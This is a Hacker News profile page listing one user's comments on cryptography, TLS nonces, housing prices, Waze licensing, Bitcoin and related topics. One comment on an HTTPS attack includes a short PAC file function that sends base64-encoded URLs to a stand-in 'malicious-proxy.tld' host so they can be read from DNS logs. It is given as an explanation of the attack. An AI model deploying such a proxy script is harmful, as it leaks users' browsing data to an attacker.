zhuzhuor's comments

zhuzhuor | 8 years ago | on: Hash-based Signatures: An illustrated Primer

The article is about hash-based signatures, not signatures in general or public-key signatures (DSA or RSA).

zhuzhuor | 9 years ago | on: Vancouver house prices are falling

Perhaps, as some other persons commented on the thread, the housing price at Vancouver was pushed high by oversea money? The other cities were not like this?

zhuzhuor | 9 years ago | on: Vancouver house prices are falling

IMO, the timing also coincides with Chinese government's several actions of tightening regulations for foreign exchanges/purchases. So it may be a combination of multiple factors (not sure which one is more significant)

See https://www.ft.com/content/87d8a7e8-cfe8-11e6-b06b-680c49b4b...

zhuzhuor | 9 years ago | on: Ask HN: How do you get notified about newest research papers in your field?

For crypto papers, I wrote a twitter bot to track all updates on the IACR ePrint archive: https://twitter.com/IACRePrint

I basically just check my twitter account daily (also follow many great researchers who have twitter accounts :))

zhuzhuor | 9 years ago | on: China, Not Silicon Valley, Is Cutting Edge in Mobile Tech

It basically means the lacking of credit systems and mature fraud detections. If you lose your (credit) card or leak your credit card number, the bank won't probably reimburse your financial losses. Compared to credit cards, mobile payments may be more secure.

zhuzhuor | 9 years ago | on: New attack that cripples HTTPS crypto works on Macs, Windows, and Linux

From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }

Then the attacker can look at his/her DNS server query log and figure out the URL.

zhuzhuor | 12 years ago | on: Mkdown

Shameless plug :)

http://jist.in

zhuzhuor | 12 years ago | on: Amazon granted patent for taking photos against a white background

It seems the patent has four inventors, but tinasu isn't one of them. Where did you get the name from?

zhuzhuor | 12 years ago | on: Lawsuit: Waze owes 'open-source' programmers $150 million

Maybe more background to add to the story:

Originally, the source code of Waze clients was released under GPL, which AFAIR it was as branded as a part of the community-based map app.

But the company chose to not release the source code after v3.0. This is quoted from one of my emails.

    In reply to your inquiry "Hi, where can we get the latest waze code?":
    
    Thank you for your feedback.
    
    You can find source code for the old versions (up to 2.4) on our wiki - waze.com/wiki
    
    Version 3.0 and higher are no longer under GPL, and at the moment we are still considering if and how we will share the code for these versions.
    
    Best regards,

I guess Waze either 1) has obtained the agreements of all open-source contributors, or 2) has completely rewritten all related source code.

zhuzhuor | 12 years ago | on: Free static page hosting on Google App Engine in minutes

CloudFront allows naked domains, so you can use naked domains for almost anything if you place a layer of CF before it.

For example, for this case of GAE, you can use

  Naked domains <=> CloudFront <=> GAE

zhuzhuor | 12 years ago | on: Introducing Open Salaries at Buffer

I found one thing interesting is that only 4 out of 17 people choose equity over $10k salary. Even CTO chooses salary.

I am curious if this is common in startup companies, since I have never worked in startups.

zhuzhuor | 12 years ago | on: Bitcoin Falls 20% on PBOC Rumors, Chinese Exchanges Reinstate Fees

(I speak Chinese.) The "rumor" seems already be verified by newspaper and media.

See the article [1] on the website of Xinhuanet [2].

[1] http://news.xinhuanet.com/fortune/2013-12/17/c_125874796.htm

[2] http://en.wikipedia.org/wiki/Xinhua_News_Agency

zhuzhuor | 12 years ago | on: Kima15: $150K for 15% in 15 days

Thanks. It's much better for me now

zhuzhuor | 12 years ago | on: Kima15: $150K for 15% in 15 days

off-topic: the red background seriously hurts my eyes

zhuzhuor | 12 years ago | on: CyanogenMod Installer Application Removed from Play Store

quoted from the article:

After reaching out to the Play team, their feedback was that though application itself is harmless, and not actually in violation of their Terms of Service,...

zhuzhuor | 12 years ago | on: Bitcoin payment processor BIPS compromised, 1295 BTC stolen

Since every bitcoin transaction is in public, why don't we build a public blacklist for these addresses with stolen coins (and all addresses these bitcoins further transferred to)? such that the hackers cannot get too much from their actions

zhuzhuor | 12 years ago | on: A Roster of TLS Cipher Suites Weaknesses

Do you know why is TLS doing that?

But even without the 4 bytes, 64-bit nonce seems enough for me, as long as it's not chosen at random.

For comparison, if the nonce is chosen randomly, the security level is only 2^32 (supposing the 4 bytes based on the key materials remain unchanged).

zhuzhuor | 12 years ago | on: A Roster of TLS Cipher Suites Weaknesses

The second nit with AES-GCM is that, as integrated in TLS, implementations are free to use a random nonce value. However, the size of this nonce (8 bytes) is too small to safely support using this mode. Implementations that do so are at risk of a catastrophic nonce reuse after sending on the order of a terabyte of data on a single connection. This issue can be resolved by using a counter for the nonce but using random nonces is the most common practice at this time.

I don't know how do you integrate AES-GCM with TLS, but I have to say

1. The secure AES-GCM supports 96-bit nonces. It's 12 bytes, not 8 bytes mentioned in the article.

2. Nonce is nonce. It shouldn't be chosen at random (as random IVs). As long as nonces are not reused, GCM should be secure.

3. I don't believe implementing a secure random number generator is more efficient than maintaining an incremental counter.

Edited for typos

zhuzhuor | 12 years ago | on: Usersnap – Visual Bug Tracking

What concerns me more than the pricing is their monthly limits. $99/m can only allow 300 feedback forms collected in each month. That is only 10 per day

zhuzhuor | 12 years ago | on: Adi Shamir Prevented from Attending Crypto and Cryptology Conferences

AFAIK, USA has been a second choice for crypto-related conferences for many years. If you ever attended one such conference, you will notice there will always some speakers/presenters couldn't attend due to visa issues. I guess many US people aren't even aware of this, but visa problem has been a huge pain for non US citizens. You can ask about this if you have any friends who are international students or H1B workers.